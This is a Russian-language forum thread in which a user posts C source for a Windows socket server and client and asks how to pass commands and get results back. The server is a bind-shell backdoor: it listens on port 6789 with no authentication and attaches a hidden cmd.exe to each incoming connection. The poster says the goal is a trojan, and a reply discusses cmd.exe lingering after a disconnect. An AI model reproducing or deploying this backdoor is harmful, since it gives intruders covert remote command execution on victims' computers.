Удаленное управление cmd.exe

[VARVAR]

Захотелось на основе сокетов написать сервер и клиент для
удаленного управление компом. :)

Конечно в Инете можно найти код и через pipes (каналы), но ведь можно обойтись без низ.


Сервер:


//
// Listens on port 6789
//
#pragma comment(lib, "ws2_32.lib")
#define _WIN32_WINNT 0x0501
#include <winsock2.h>
#include <windows.h>

char szSystemDir[MAX_PATH + 1];

DWORD CALLBACK Thread_ShellSpawner(LPVOID lpParam)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
SOCKET sClient = (SOCKET)lpParam;

memset(&si, 0, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_USEPOSITION;
si.wShowWindow = SW_HIDE;
si.hStdError = si.hStdInput = si.hStdOutput = (HANDLE)sClient;
si.dwX = GetSystemMetrics(SM_CXSCREEN);
si.dwY = GetSystemMetrics(SM_CYSCREEN);

SetCurrentDirectory(szSystemDir);
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(sClient);
return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);

SOCKET sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

struct sockaddr_in sockAddr;
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(6789);
sockAddr.sin_addr.s_addr = htonl(INADDR_ANY);
int sockAddrLen = sizeof(sockAddr);
bind(sServer, (struct sockaddr *)&sockAddr, sockAddrLen);
listen(sServer, 5);

GetSystemDirectory(szSystemDir, MAX_PATH);

while(TRUE){
SOCKET sClient = accept(sServer, (struct sockaddr*)&sockAddr, &sockAddrLen);
if(sClient == SOCKET_ERROR) break;
CreateThread(NULL, 0, Thread_ShellSpawner, (LPVOID)sClient, 0, NULL);
}

WSACleanup();
return 0;
}



Клиент

#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#include <iostream>

#pragma comment(lib, "ws2_32.lib")
#define version 0x002
#define SERVERPORT 6789



int main()
{
WSADATA wsaData;
SOCKET socketfd;
struct sockaddr_in server_addr;

// Письмо серверу
char message[]="dir";

char buff[1024];

struct hostent *h;

if(WSAStartup(MAKEWORD(version,2),&wsaData))
{
fprintf(stderr,"\nError intializing winsock library!");
return 1;
}

h=gethostbyname("127.0.0.1");
server_addr.sin_family=h->h_addrtype;
server_addr.sin_port=htons(SERVERPORT);
server_addr.sin_addr.S_un.S_addr=inet_addr(h->h_name);
memset(&(server_addr.sin_zero),'\0',8);

socketfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(socketfd==INVALID_SOCKET)
{
fprintf(stderr,"\nError creating socket!");
return 1;
}

// соединяемся с сервером
connect(socketfd,(const struct sockaddr*)&server_addr,sizeof(struct sockaddr));


//if(send(socketfd,message,lstrlen(message),0)==SOCK ET_ERROR)
//{
// fprintf(stderr,"Data could not be send!");
// return 1;
//}

int nsize;

// получаем данные
while( nsize = recv(socketfd, buff, sizeof(buff)-1, 0) )
{

buff[nsize]=0;
printf("S=>C:%s", buff);

}

closesocket(socketfd);
WSACleanup();

}


У меня клиент получает данные от сервера (то есть комстроку).

Вопрос:

А что дополнить чтобы при вводе в клиент можно было выполнить команду,
например DIR и получить результат.

[slesh]

йа такое на ассемблере писал :) и у этого способа есть небольшой недостаток.
А именно: если просто закрыть соединение, не вводя команду EXIT то в оперативе так и продолжит весеть cmd.exe

[VARVAR]

Спасибо, что ответили ребята !

пока так работает:
CreateProcess(NULL, "cmd.exe /c dir", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

Но желательно:
введя в клиент любую команду (например, cd/, dir, другие ms-dos) в клиенте
получить ответ...


То есть трой через комстроку, а не shell.
Пока робкая попытка...

[izlesa]

20verbreaK
человек хочет без пайпов это сделать ^_____^